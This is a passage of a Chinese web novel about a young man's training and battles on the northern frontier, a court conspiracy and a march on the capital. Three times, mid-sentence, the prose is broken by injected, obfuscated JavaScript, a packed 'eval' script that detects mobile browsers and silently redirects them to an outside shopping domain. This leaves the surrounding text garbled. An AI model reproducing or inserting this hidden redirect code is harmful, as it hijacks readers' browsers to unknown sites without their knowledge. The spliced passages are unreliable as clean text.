燕沧溟给了玉凌绝一个最普通士卒的身份,让他从底层摸爬滚打,与所有新兵一样,顶着烈日或寒风练习枯燥的劈砍,阵型与骑射。 起初的日子堪称艰难。纵使他武艺根基不弱,但在这些真正从尸山血海里爬出来的老兵面前,依旧显得稚嫩。沉重的铠甲磨破了他的肩颈,粗糙的马鞍磨烂了他的大腿内侧,每日的操练几乎耗尽他所有力气。 每天在天不亮时他就被吼起来操练,背负沉重的行囊在崎岖山地奔跑,练习最基础的劈砍格杀,学习辨认方位,寻找水源和设置陷阱。吃的是最粗糙的粟米饭和咸菜疙瘩,睡的是挤满了汗臭味的通铺。 最初,玉凌绝因身份不明和俊秀的容貌引来不少轻视与挑衅,营中汉子们的粗鄙玩笑,有意无意的排挤试探,更是层出不穷。 燕沧溟将一切看在眼里,却从未出手制止,因为在军中,她不是那个会偷偷给他塞糖糕的师姐,而是军纪严明说一不二的燕将军。她不再把他当作需要庇护的孩子,而是真正将他当作一个可造之材来打磨。她会亲自与他过招,招式狠辣,毫不留情,将他一次次打倒在地,又逼着他一次次爬起来。 她会在校场上当着全军的面,将他因一个细微动作失误而摔下马背的狼狈模样点出,声音冷硬如铁:“在战场上,这一个破绽,足够你死十次!” 玉凌绝咬着牙,从尘土里爬起来,抹去嘴角的血沫,一声不吭地重新翻身上马。那双黑沉的眸子里,没有委屈,只有一股近乎偏执的狠劲。 但燕沉默也会在深夜巡营时,恰好路过他的帐篷,丢下一瓶金疮药。会在他因水土不服高烧不退时,命亲兵随便端来一碗熬得浓稠,加了驱寒药材的羊肉汤。 夜晚,他则被燕沧溟拎到自己的军帐,学习兵书战策,推演沙盘,不点评胜负,只拿着舆图,一点点复盘他每一个决策的得失。 “为何选择从此处突击?” “若当时侧翼佯攻的士卒慢了片刻,你当如何?” “记住,为将者,心中装的不能只有眼前的敌人,还要有天时地利,以及你手下每一个人的命!” 燕沧溟的教导方式与那人截然不同,对方是引而不发,点到即止,如春雨润物。燕沧溟则是烈火烹油,粗暴直接,也更加贴近这片土地生存的法则。 有时她也会指着舆图上某处关隘,状似无意地提起:“听说朝廷那边,为了这点地方的驻防权,又吵翻天了。” 或是,“国师最近举荐了个监军,快到了,是个只会溜须拍马的废物。” 玉凌绝便知道,这是那人通过燕沧溟,在向他传递京中的信息,让他虽身在边关,心却始终与那盘大棋相连。 玉凌绝如同渴水的沙棘,疯狂地吸收着一切。他沉默地忍受着身体的疲惫与伤痛,敏锐地观察着军营的运作,仔细揣摩着燕沧溟的每一个指令。他学习着如何辨别马蹄印的深浅以判断敌骑数量与负重,如何通过风中细微的气味变化预警天气甚至敌情,如何与麾下那些桀骜不驯的士卒打交道——恩威并施,言出必践。 他学会了用最直接的方式回应那些质疑:在演武场上,将第一个公然挑衅的壮汉用巧劲摔出去三丈远,在野外拉练时,默默替体力不支的同袍分担行囊,在夜晚众人鼾声如雷时,就着微弱的油灯,啃读不知从哪儿弄来的残缺的兵书战策。 他的狠劲与沉默的坚韧,渐渐赢得了这些粗豪汉子的些许认可。他们开始叫他“阿绝”,会在他练功时随口指点一两句,会在他夜里看书时,骂骂咧咧地却把油灯拨得更亮些。 他也会在夜深人静时,独自走到营地边缘的瞭望台上,遥望东南方向。怀中那枚玉锁紧贴着胸口,带着他的体温。塞外的星空格外低垂明亮,却照不亮千里之外的宫阙重重。 他开始主动索取更多的情报,不仅仅是朝堂动向,还有江湖势力,各地民变,乃至边境军报。他像一块永不满足的海绵,贪婪地吸收着一切可能转化为力量的知识。 第一次,他们小队奉命前出侦察一小股骚扰边境的游骑踪迹。玉凌绝凭借对地形的记忆和对细微痕迹的敏锐观察,率先发现了敌人的临时营地,并提出了一个大胆的夜袭分割计划。 燕沧溟盯着沙盘,沉吟良久,猛地一拍桌子:“够胆!就依你的法子干!陈闯,你带一队人左翼迂回……阿绝,你跟我,直插中军!” 那场战斗短暂而血腥,兵刃相交的巨响震得他虎口崩裂,鲜血直流。玉凌绝第一次亲手将匕首刺入活人的身体时,温热的鲜血喷溅在他的脸上,带来一阵生理性的反胃与战栗,让他顿时恍惚。 就在那一瞬间,一支羽箭如同流星般掠过,“噗”地一声精准地没入了他身后冲来骑兵的咽喉!玉凌绝身后的人动作一僵,眼中的凶光涣散,重重栽下马去。 玉凌绝猛地回头,只见不远处的小坡上,燕沧溟缓缓收起长弓,风吹起她额前的碎发,她朝他所在的方向看了一眼,目光冷冽如刀,随即拨转马头,杀向另一处战团。 那一箭,不仅救了他的命,更像是一盆冰水,浇醒了他。战场不是纸上谈兵,没有那么多权衡与算计,只有最赤裸的生死。 但他没有退缩,而是像一头被逼到绝境的幼狼,在混乱的厮杀中,竟真的配合着燕沧溟精准地撕开了敌阵。 战场上弥漫着浓重的血腥气。玉凌绝站在原地,微微喘息着,抬手抹去糊住眼睛的鲜血,触手一片黏腻温热。他看着地上那具逐渐冰冷的尸体,看着四周散落的残肢断臂,胃里一阵翻腾,却强行压了下去。 陈闯大步走过来,重重拍了他的肩膀一下,力道大得让他踉跄半步,脸上却带着毫不掩饰的赞赏:“好小子!眼毒,手狠!是块打仗的料!” 周围幸存的士卒们也围拢过来,看向玉凌绝的目光里,先前那点若有若无的审视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105185|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底消失,取而代之的是真正的认同与敬畏。 玉凌绝没有回应他们的夸赞,他只是默默地走到那具尸体旁,弯腰,将自己的短匕从地上捡起,在尸体的衣服上仔细擦拭干净,收回鞘中。动作缓慢而专注,仿佛在进行某种仪式。 战斗结束后,他在尸横遍野的营地边缘剧烈呕吐。燕沧溟走过来,递给他一个水囊,看着他苍白的脸和依旧稳定的手,只说了一句:“吐完了就起来,清点战利品,辨认尸首身份。打仗,不是你死,就是我亡,没那么多矫情。” 玉凌绝接过水囊,灌了一大口辛辣的烧刀子,烈酒灼烧着喉咙,却也压下了那股恶心。他抬起头,看向燕沧溟:“谢谢师姐。” 燕沧溟依旧很平静,带着塞外风沙磨砺出的沙哑:“别谢我。战场上,能靠的只有自己。下次,我未必来得及。” 玉凌绝用袖子狠狠擦干嘴角,站起身,重新投入到战后的事务中。那一刻,他感觉自己身体里某些柔软的东西,正随着呕吐物被一同抛弃,取而代之的是某种更加冰冷又更加坚硬的内核。 自此,玉凌绝真正融入了这片土地。他与普通兵卒一同啃着冻硬的干粮,在风雪中潜伏侦查,在沙盘前与老兵争论战术,学习如何用最省力的方式割开敌人的喉咙。 无数个寒冷的夜晚,他躺在冰冷的营铺上,听着帐外呼啸的风声与巡夜士兵规律的脚步声,望着帐顶破洞处漏进的几颗寒星时,还是会不可抑制地想起那座金碧辉煌的牢笼,想起那个人。 想起他指尖的微凉,想起他靠在自己肩头的重量,想起那抹孤绝的背影。想起他最后那句“别让我失望”。 他摩挲着胸前的玉锁,那温润的触感是这苦寒之地唯一的柔软,也是连接着他与那座遥远冰冷,却又有那人存在的唯一纽带。 思念与恨意交织,心口依旧会痛,那痛楚尖锐而清晰,却不再仅仅是彷徨与委屈,更混合了一种鞭策。他必须更快地成长,必须掌握更强的力量。唯有如此,才能……才能有朝一日,堂堂正正地站在那人面前,问清楚一切。 他会不自觉地将玉锁从领口掏出,玉石的光泽在昏暗光线下流转,正面那个“安”字,此刻看来却带着一股讽刺。 安?这尸山血海的边关,何来安宁?但这讽刺之下,又生出更深的执念。 他要变得足够强大,强大到能为自己,或许……也为那人,挣来一份真正的“安”。 宫墙内的权谋是无声的刀光剑影,而这北地的风沙与血火,则是淬炼锋芒最烈的熔炉。玉凌绝在这熔炉中,正以惊人的速度褪去稚嫩,磨砺爪牙。 他不知远方京城的棋局已进行到何种地步,他只知自己这把被寄予厚望的剑,正在积蓄着足以劈开一切阻碍的寒芒。 “京中局势愈发紧张,国师与宰相斗得如火如荼,互相攀咬揭短,都试图在陛下弥留之际给对方致命一击。”燕沧溟灌下一口酒,声音带着沙场的冷硬,“他的意思,让你不必急于回京,先在下面看看,这所谓的‘民怨’与‘吏治’,究竟是何模样。” 于是玉凌绝开始跟着不同的“商队”出行。他见过漕运码头上,官吏如何与帮派勾结,层层盘剥,致使运往边关的军粮掺杂沙石,见过富庶州府,豪强如何兼并土地,逼得百姓流离失所,卖儿鬻女,也见过边境小城,守将如何克扣军饷,中饱私囊,致使戍边将士衣不蔽体,食不果腹。 他不再是隔着宫墙想象民间疾苦,而是亲眼目睹亲耳听闻。那些在他口中冷静分析的“势力倾轧”“利益交换”,在这里,都化作了具体而微的血淋淋的苦难与不公。 一次,他随商队行至北方某州,恰逢大雪封路,滞留在一处小镇。当地县令为了讨好路过的宰相门人,强征民夫在风雪中修缮驿道,冻毙者数人。民怨沸腾,却敢怒不敢言。 当夜,玉凌绝站在客栈窗边,看着远处驿道上摇曳的火把,和隐约传来的呵斥与哀嚎,脸色在雪光映照下,一片冰寒。他想起了冷宫里那些欺凌他的太监守卫,想起了猎场中那些宗室子弟的讥讽,想起了京城那些无处不在的压迫。 几日后,那名强征民夫的县令被发现暴毙于书房,死因蹊跷,现场找不到任何他杀痕迹。几乎同时,一份关于该县令贪赃枉法草菅人命的匿名罪证,被悄然送至了州府按察使的案头。 燕沧溟将一份密报放在玉凌绝面前,挑眉看着他:“手脚还算干净。不过,为何要多此一举,送那份罪证?” 玉凌绝擦拭着手中的短匕,匕身早已开了锋,寒光凛冽。他头也不抬,声音平静无波:“让他死得明白,也让该知道的人知道,有些线,过了,会死。” 燕沧溟看着他,眼前的少年,身形依旧清瘦,但眉宇间的稚气已彻底褪去,取而代之的是一种内敛却令人心悸的锋芒。他不再仅仅是莫忘之手中精心打磨的利器,他已经有了自己的意志和……手段。 32. 【弎拾贰】 日月流转,春夏秋冬。 北地的春天来得迟缓,风中依旧裹挟着冰碴子的气息。玉凌绝——或者说,军镇里众人熟知的“阿绝”,已彻底融入了这片粗粝的土地。 他早已习惯了黎明即起的操练,习惯了与士卒们分食同一锅不见油星的汤饼,习惯了在模拟攻防中将对手毫不留情地撂倒,也习惯了在深夜就着跳动的灯火,研读那些被翻得卷了边的兵书舆图。 他那双黑沉的眸子在经历了厮杀与风沙后,眉宇间的稚气被风霜蚀去,沉淀为一种近乎漠然的沉静,只在偶尔望向东南方向,目光穿透重重山峦,落在那座遥远的金雕玉砌的牢笼,眼底才会掠过难以捕捉的波动。 每个在军营的夜晚,玉凌绝都会对着巨大的沙盘,推演着通过特殊渠道送来的,关于京城最新动向的密报。 每一次密报传来,都意味着京中的局势又险恶一分,也意味着那人的处境又危险一分。 玉凌绝看着那些冰冷的文字,仿佛能看到那人依旧淡然的神情下,隐藏着何等筹谋与孤注一掷的决绝。 这就是皇位之争,一言可决生死,一念可动乾坤。 若他也可以手握更大的权柄,是否就能荡平这世间更多不公?是否就能……不再受制于人,连想护着一人都需百般算计隐忍待发? 若那至高无上的位置…… 一个其实自幼就在他耳边低语,如同毒蛇般的妄念骤然钻入脑海——若我为帝? 刹那间,玉凌绝眼前仿佛浮现出自己高踞龙椅,受万民跪拜的景象。四海八荒,莫敢不从。那些曾欺凌他轻贱他的人,都将匍匐在地,战栗不已。连他……连那个人,是否也需仰首,才能看清自己的面容? 这念头带来一阵眩晕般的快意,血液都为之灼热沸腾。然而,这快意仅持续了一瞬,便被更深的寒意与自我厌弃彻底浇灭。玉凌绝猛地闭上眼睛,强行将那刚刚萌芽的大逆不道的野心碾碎。 “还不够……” 他低声自语,声音湮没在风里。他需要力量,但不必以取代那人为代价。他要的是足以与之并肩,乃至……将其纳入羽翼之下守护的力量。 此志,不容有疑,不容有垢。 北地的风裹挟着沙尘与血腥气,吹过营垒间猎猎作响的军旗。玉凌绝刚结束一轮残酷的操练,正用布巾擦拭着短匕上的尘土。燕沧溟在他身边坐下,递过来一个水囊,自己仰头灌了一大口。 她看着玉凌绝日益坚毅的侧脸和那双沉淀了许多情绪的黑眸,咧嘴一笑,带着几分看穿的了然。她的目光投向跳跃的篝火,仿佛穿透了时光的尘埃,声音在风中显得有些缥缈: “阿绝,你知道吗?我和你那位好师兄第一次见面,可没你们雪夜冷宫那么……呃,温情脉脉。”她说话带着点戏谑,又混着深沉的追忆。 玉凌绝擦拭的动作微微一顿,指节收紧,却没有抬头,只是将呼吸放得更轻。他知道,燕沧溟要说的,是段被岁月尘封,连那人都鲜少提及的往事。 “说起来,倒像是老天爷看不下去,硬把他塞到我眼前的。”她嗤笑一声,摇了摇头。 那时的燕沧溟,还不是如今名动边关的将军,只是一个顶着“罪臣之女”身份,在宫廷最阴暗的角落暴室,日夜与脏衣霉米,苦役为伴的小宫女。生活的重压与家族覆灭的冤屈如同铁砧反复锤打着她,却未曾磨灭她骨子里的硬气,反而将她锻造成一块被深埋的燧石,内里蕴藏着亟待迸发的烈焰。 “那会儿,我还在暴室,天天跟脏衣服和霉米打交道,觉得自己这辈子也就这样了,要么累死,要么哪天忍不住,一刀剁了哪个不开眼的管事,然后被乱棍打死。”她的语气很平淡,像是在说别人的事。 转折发生在一个闷热的午后,空气里弥漫着腐烂布帛和汗水的酸臭。她因实在看不惯一个管事太监肆意欺辱一位年老体弱的杂役,积压已久的怒火爆发,当即出手理论。那太监自觉权威被挑衅,尖声叫骂着,带着几个谄媚的喽啰将她围住,污言秽语不绝,甚至动起手来推搡。 燕沧溟饿着肚子,身手却远非这些欺软怕硬的阉人能比。胸中那股属于将门的悍勇瞬间被点燃,她眼神一厉,如同被逼入绝境的幼兽,拳脚带着风声,三两下便将那几个喽啰撂倒在地,随即一个迅猛的擒拿,将那名吓得脸色煞白,尖叫不止的管事太监死死按在滚烫得能烙饼的青石地上。 “放开我!你这贱奴!反了!反了!”太监挣扎着,声音因恐惧而扭曲。 燕沧溟喘着粗气,汗水和灰尘黏在额发上,眼神却亮得骇人,手下力道更重,几乎要捏碎对方的腕骨。就在这混乱的当口,她眼角的余光猛地瞥见暴室那扇破败的院门阴影里,不知何时,竟静默地立着一道身影。 那是一个身量未足的少年,穿着一身与这污秽之地格格不入的月白常服,面容尚带稚嫩。他就那样站着,悄无声息,仿佛已看了许久。周遭的喧嚣与腌臜似乎都未能沾染他半分。他那双眼睛里没有惊诧,没有厌恶,也没有好奇,只有一种……仿佛穿透了时光的复杂。 玉凌绝的心微微一动。他能清晰地想象出那个画面。那个人无论在何处,总是自带一方结界,与周遭格格不入,像一幅墨迹未干又留白过多的水墨画,兀自静立在喧嚣之外。 “我当时心里‘咯噔’一下,以为撞见了哪个路过的皇子王孙,这下麻烦大了,打条癞皮狗还被个看热闹的贵公子撞见!”燕沧溟灌了口酒,声音带着回忆往事时特有的自嘲,“可他一直没出声,就那么看着,看得我浑身发毛。” 燕沧溟带着当年的困惑与戒备继续道:“我觉得这人真是莫名其妙,跟宫里那些要么趾高气扬,要么谄媚逢迎的家伙倒是不一样。” 就在燕沧溟以为他会叫侍卫拿人,或者转身离去时,他却忽然抬步,不紧不慢地走了过来,停在几步开外。他的目光掠过地上哀嚎的太监和瑟瑟发抖的小黄门,最后落在了燕沧溟因用力而青筋微显的手臂上。 “你这发力不对。”他忽然开口,声音清润,像山涧冷泉滴落在青石上,却说着与眼前场景全然不符的话,在这污浊燥热的环境里显得异常突兀,“手腕太僵,发力过于刚猛,易伤自身经络。腰腹之力,未曾用上三分。” 这话语太过突兀,内容更是匪夷所思。燕沧溟一愣,几乎以为自己听错了,这莫名其妙的小公子看人打架,居然还上来指点招式?!随即她怒火更炽,抬头狠狠瞪向他:“哪里来的小公子,少在这里说风凉话!管好你的闲事!”她手下力道更重,疼得那太监杀猪般惨叫。 那少年对她的冲撞浑不在意,目光上移,定定落在她因愤怒而灼亮的眼睛上。他看了她很久,久到燕沧溟都觉得脖颈后的汗毛要竖起来了。然后他忽然笑了起来,那笑声很淡,飘忽得抓不住,却莫名让人心里发酸。 “这脾气,倒是一点没变。”他低声说,像是叹息,又像是……确认。 “我当时火气‘噌’地又上来了,”燕沧溟对着玉凌绝一摊手,“只觉得这小公子脑子有病!看人打架不劝架,反而指点起我的脾气了?眼神更是不好,谁跟他‘一点没变’?我们压根没见过!”如今说起,她仍带着几分哭笑不得。 “说完,他也不等我反应,转身就走了,跟来时一样悄无声息,留下我一个人在原地,像个傻子,连手里按着的太监都忘了。”燕沧溟摇了摇头,饮尽囊中残酒。 “后来呢?”玉凌绝的声音有些发干。他仿佛能看见那个清瘦背影决然离去的样子,与多年后雪夜中离去的身影隐隐重叠。 “后来?”燕沧溟嗤笑一声,带着点认命般的无奈,“后来就更邪门了。我揍了管事太监,按宫规本该受重罚,可那事儿却莫名其妙被压了下去,再无人提起。那几个阉人后来也没再敢明目张胆地找我麻烦。” “因为这家伙就跟个月白身影的鬼似的,开始在我周围神出鬼没。”她掰着手指数,“有时是我累瘫在柴堆后,身边会‘不小心’多出一瓶上好的金疮药。有时是我偷偷练功时,他会‘恰好’路过,倚在墙边,不咸不淡地点一句:‘下盘不稳,气息太浮。’” 她说着,自己都觉得好笑。 “再后来,他就开始真正出手干预,暗中操作。”燕沧溟的神色认真起来,“他通过一些我至今都没完全弄明白的渠道和手段,先是让暴室里一个看似不起眼,实则受过他恩惠的老宫人暗中照应我,让我少吃了许多苦头。接着他不知又用了什么法子,让我那份压在宗人府,本该永无翻身之日的‘罪奴’身份文书做了手脚,模糊了关键指证,还了我一个相对清白的背景。最后,他通过不知何时暗中经营起来的关系网络,将我悄无声息地送出了宫,塞进了北地边军,还辗转让我与父亲当年那些散落各处的,同样备受打压的旧部,重新取得了联系。” “现在想来,他那天看我的眼神……哪里是像是在看一个脏兮兮的罪奴。”她顿了顿,无意间带着连自己都未曾完全理解的悸动,“分明是认出了什么,带着一种……麻烦上身,却又不得不管的认命。” “那他当时……一定很高兴。”玉凌绝低声道,像在问自己。 “高兴?”燕沧溟嗤笑一声,抬手用力揉了揉他的头发,力道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105186|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧没轻没重,“或许吧。但更多的,我猜是觉得摊上大事了!他那种恨不得离所有人事都三丈远,躲在自个儿世界里清净的性子,平白无故撞上一个甩不掉的‘故人’,心里指不定怎么骂娘呢!” 她站起身,活动了一下筋骨,目光重新变得锐利,投向远方连绵的营帐。 “所以,小子,别把他想得太无所不能,算无遗策,他也有措手不及的时候。”她声音沉了下来,带着沙场的铮鸣,“咱们三个早就是被绑在一条绳上的蚂蚱了。他算计布局是真,但那些夜里悄然送来的伤药,那些看似随口的生死提点,那些一次次把我,把你从绝境边缘捞回来的后手……没有一样是假的。” 她转过头,看向听得入神的玉凌绝,篝火在她眼中跳动。 “他就这么个别扭性子,一边嫌麻烦一边又忍不住操心到底,嘴上说着‘随你们去’,暗地里却恨不得把前路所有的坑都替我们填干净。”燕沧溟将空酒囊随手丢开,用力拍了拍玉凌绝的肩膀,“走了,校场上那帮小子还等着挨揍呢!” 说完她不再多言,转身大步走向远处喧嚣的校场,留给玉凌绝一个被火光拉得长长的,仿佛能扛起整个边关风月的背影。 玉凌绝站在原地,久久未动。他摩挲着怀中那枚触手生温的玉锁,耳边回响着燕沧溟粗粝却真挚的话语。 数日后,他正与陈闯等人在校场练习弓马,忽见一骑快马冲破风沙,直入中军大帐,带来一身京华尘土。营地的气氛几乎在瞬间变得不同寻常,一种压抑的山雨欲来的紧张感无声弥漫开来。 傍晚,燕沧溟召集了所有核心旧部,包括玉凌绝。她的脸色是前所未有的凝重,眸中寒光闪烁,如同即将出鞘的利刃。 “京里传来消息,”她的声音不高,却字字如铁石,砸在每个人心上,“国师与宰相彻底撕破脸皮,死伤不少。禁军内部也分裂对峙,京城……已是一片混乱。” “什么?!”陈闯等人勃然变色,惊呼出声。 他猛地抬头,黑沉的眸子里瞬间掀起惊涛骇浪,所有的冷静与自制在听到这个消息时土崩瓦解。那个人的脸,那个人最后决绝的背影,清晰地浮现在眼前。 “他……怎么样了?”他的声音干涩得厉害,带着自己都未察觉的颤抖。 帐内一片死寂,只有粗重的呼吸声和帐外呼啸的风声。所有人的目光都聚焦在燕沧溟身上,等待着下一步的指令。 燕沧溟眼神复杂地看着他,深吸一口气,才继续道:“太子殿下……已被国师以‘巫蛊诅咒,意图弑父’的罪名,软禁于东宫。据说,证据确凿,准备赐死。” 玉凌绝只觉得耳边“嗡”的一声,全身的血液仿佛在瞬间冻结。软禁东宫?巫蛊罪名?那不是当年构陷他母亲的旧戏码吗?原来他早就决定要以自身为诱饵,点燃这最后的烽火。 “师姐,”他的声音因压抑而显得异常沙哑低沉,“我们……该如何?” 燕沧溟深深看了他一眼,那目光仿佛能穿透他强装的平静,看到他内心翻江倒海般的震荡。随即她猛地一拍桌案,声震营帐: “如何?自然是干他娘的!”她眼中燃烧着复仇的火焰与决绝的豪情,“国师宰相,还有那些陷害我燕家的魑魅魍魉!如今京城大乱,正是天赐良机!太子殿下既然已布下此局,我们岂能辜负?” 她目光灼灼地看向玉凌绝,带着不容置疑的决断:“阿绝,不,玉凌绝!是时候了!准备召集所有能调动的弟兄,以‘清君侧,靖国难’之名,兵发京城!” “清君侧……靖国难……”玉凌绝低声重复着这六个字,眼中最后一丝迷茫与动摇彻底散去,取而代之的,是一种冰冷又坚定到极致的杀伐之意。 燕沧溟看着他,带着不容置疑的信任与托付:“你熟悉宫禁,知晓那群人的弱点,更明白最后的布局。” 她抽出随身的匕首,唰地一声,割下一幅衣摆,铺在桌上,又拿起笔,目光炯炯地看着他:“来,把你所知的一切,宫内的暗道守卫分布那两位的心腹名单以及你认为最快最有效的进军路线,全都画出来,告诉我们!” 他抬起头,迎上燕沧溟的目光,黑沉的眸子里,仿佛有修罗战场在酝酿。 他深吸一口气,接过燕沧溟手中的笔,指尖稳定得没有丝毫颤抖。 他俯身,目光锐利如刀,笔尖落在粗布之上,勾勒出的,不再仅仅是地图与策略,更是一条通往权力之巅的染血路径。 “好。”他听见自己的声音,冰冷,坚定,带着一种破釜沉舟的戾气,“我们,杀回去。” 33. 【弎拾弎】 当玉凌绝在燕沧溟的麾下激情澎湃的时谋划时,远在千里之外的紫禁城,也正被一场无声的雷霆笼罩。 老皇帝卧榻不起的消息终于不再是秘密。如同嗅到腐肉气味的秃鹫,国师与宰相两派势力的争斗,瞬间从暗流汹涌摆上了明面。朝堂之上,攻讦弹劾的奏章雪片般飞入宫中,互相指认为“奸佞”“国贼”。京都防务,禁军调度,每一处关键位置的变动都伴随着不见血的厮杀。 东宫莫忘之的居所,此刻却呈现出一种异样的平静。他面对国师与宰相两方或明或暗的拉拢与威逼,始终保持着一种近乎切懦的沉默与回避,仿佛只被惊雷吓坏了的幼兽,只能蜷缩在自己的巢穴里瑟瑟发抖。 这般姿态落在两大巨头眼中,自然是朽木不可雕,废黜之心更炽。他们甚至开始有些放松了对这位庸碌太子的警惕,将全部精力都投入到消灭对方并顺手将这碍眼的东宫一并清洗掉的最终准备中。 他们不知道的是,在这片压抑的平静之下,一封以特殊火漆密封的密信,由一个看似最不起眼负责倾倒香炉灰的小太监,借由运送宫中废弃物的牛车,带出了重重宫禁,几经辗转,落入京中一家看似普通的书画铺子掌柜手中。当夜,这只信鸽便带着足以搅动风云的讯息,振翅向北。 与此同时,被陷害巫蛊之名,软禁在东宫的莫忘之,正对着一盘残局独自斟酌。棋枰之上,黑白双子纠缠厮杀,形势诡谲。他执白子,形势看似岌岌可危,大片疆域被黑子侵占,只余几处看似孤零零的活眼。 他的指尖拈着一粒白玉棋子,久久未落。窗外,是京城压抑的仿佛酝酿着暴风雨的夜空。他的神情依旧是那般淡淡的,甚至比平日更添几分倦怠。 他需要一场足够分量的背叛,或者一场足够震撼的丑闻来彻底点燃那两大势力之间最后的克制,促使他们提前亮出所有底牌,殊死一搏。而他,就是点燃这根引线的最佳人选。 是夜,东宫悄然潜出一道黑影,并非去向宫外,而是径直往国师所在的钦天监方向而去。半个时辰后,又有一道身影,借着夜色掩护,悄无声息地接近了宰相府的后院角门。 翌日,朝野震动。先是国师一派的某位御史,当庭呈上铁证,指控宰相勾结外藩,密谋在圣上弥留之际发动宫变。证据看似确凿,言之凿凿。 紧接着,不等宰相一派反应过来反击,京中便又有流言如野火般蔓延开来,直指国师借为陛下炼丹之名,暗中施用虎狼之药,加速龙体衰败,其心可诛! 两记重锤几乎同时砸下。原本还在维持着表面平衡,互相试探底线的两大势力,瞬间红了眼睛。指责对峙,乃至双方麾下官员在衙署之间的械斗,都开始零星出现。京城的气氛绷紧到了极致,如同一个充满了火药味的桶,只差最后一星火花。 而此刻,远在北地军镇的玉凌绝,接到了那只历经风雨,腿上绑着细小竹管的信鸽。他解下竹管,倒出里面的纸条。展开,上面只有简短的八个字,是莫忘之亲笔,字迹依旧清逸,却带着一股金戈铁马的决绝: “京中火起,可清君侧。” 玉凌绝捏着纸条的手指,因用力而微微泛白。他几乎是下意识地用力攥紧了胸前的玉锁,玉石坚硬的棱角硌得掌心生疼。这疼痛让他混乱的思绪瞬间清晰。 他低头,看着从指缝中露出的那一角白玉,又抬眼,望向天际,目光仿佛要穿透千山万水,看到那座波云诡谲的皇城,看到那个立于风暴中心却依旧平静得令人心颤的身影。 终于……来了。 他深吸一口边关冰冷而带着沙尘的空气,将纸条凑到油灯上,火苗蹿起,瞬间将其吞噬殆尽。 他转身,大步走向燕沧溟的军帐,掀帘而入。 燕沧溟正对着北境舆图凝神,闻声抬头,看到是他,以及他眼中那簇熟悉又陌生的,冰冷燃烧的火焰,心中已然明了。 “时候到了?”她问,声音平静,却带着磨刀霍霍的肃杀。 玉凌绝点头,将那八个字复述了一遍,声音不大,却斩钉截铁。 燕沧溟眼中精光爆射,猛地一拍桌案:“好!传令下去,各部依计行事!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105187|195781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >军令如山,整个营地瞬间沸腾起来。士兵们检查兵刃,备足粮草,喂饱战马,空气中弥漫着大战将至的凝重与……隐隐的兴奋。 玉凌绝回到自己的营帐,默默擦拭着那柄已然饮过血的短匕,又拿出那人当初赠他的那套颜料中,最烈的一抹朱砂,在自己内衬白衣的衣角,缓缓画下了那个异常繁复,属于他们三人之间才懂的隐秘符号:那是“燕”“忘”与“绝”字交织的变体,象征着联结,也象征着……不容回头的前路。 他知道,此去不再是边境小规模的摩擦,而是直指帝国心脏的兵,是成王败寇,是生死一线。 别让我失望。 他不会。 他会亲手完成这场血腥的“清君侧”。 然后,他会回去。 回到那座皇城,回到那个人面前。 去问一个答案,去要一个结果。 无论那结果,是他期盼的,还是……他恐惧的。 那把龙椅,是这天下人挤破头也想坐上去的位置。那人怕是也不例外。 若那日后那人真能黄袍加身……他当如何自处? 鸟尽弓藏,兔死狗烹,史书上血迹未干。 到那时,这个知晓太多隐秘又无根基的师弟,这柄染血太多的利刃,是能得一方安隅,还是被永藏鞘中,或是……被彻底熔毁,以绝后患?若那人尚存一丝昔日灯下温情…… 此念刚起,便被他狠狠碾碎。奢望,是这世间最无用的东西。 他不敢奢望。但心底却有个微弱的声音在问:若那人不要这江山呢?这念头甫一出现,便被他自己嗤笑碾碎。不要江山,何必搅动这漫天风云? 而自己这般拼命汲取他给予的一切,究竟是为了活下去,为了复仇,还是……隐隐也生出了不该有的妄念?这妄念比直面刀剑更令他恐慌。 边关的风带着铁锈与血的味道,吹动他额前碎发,也吹动了那面即将指向京城,猎猎作响的旗帜。边关的号角低沉而苍凉地响起,穿透云霄,传向京都。 风暴,终于要来了。 34. 【弎拾肆】 燕沧溟麾下的精锐如同蛰伏已久的狼群,在接到指令的瞬间便露出了锋利的獠牙。他们没有打出任何旗帜,借着对边境地形了如指掌的优势,化整为零,悄无声息地穿过州县,避开官道,直扑京城。 他们的行动迅捷如风,纪律严明,沿途关隘竟多有“疏忽”放行,显然是那人早已布下的暗棋在发挥作用。 玉凌绝被编入前锋斥候营,与陈闯等人一同行动。他们的任务是清扫大军前行道路上可能存在的眼线,并精准传递沿途军镇,卫所的兵力虚实,每次的遭遇战都可能是最后一面。 一次,他们小队与一队宰相门下,前往边境“劳军”实则监视边军动向的缇骑狭路相逢。对方人数倍于己,装备精良。陈闯脸色凝重,正要下令隐蔽,玉凌绝却忽然开口: 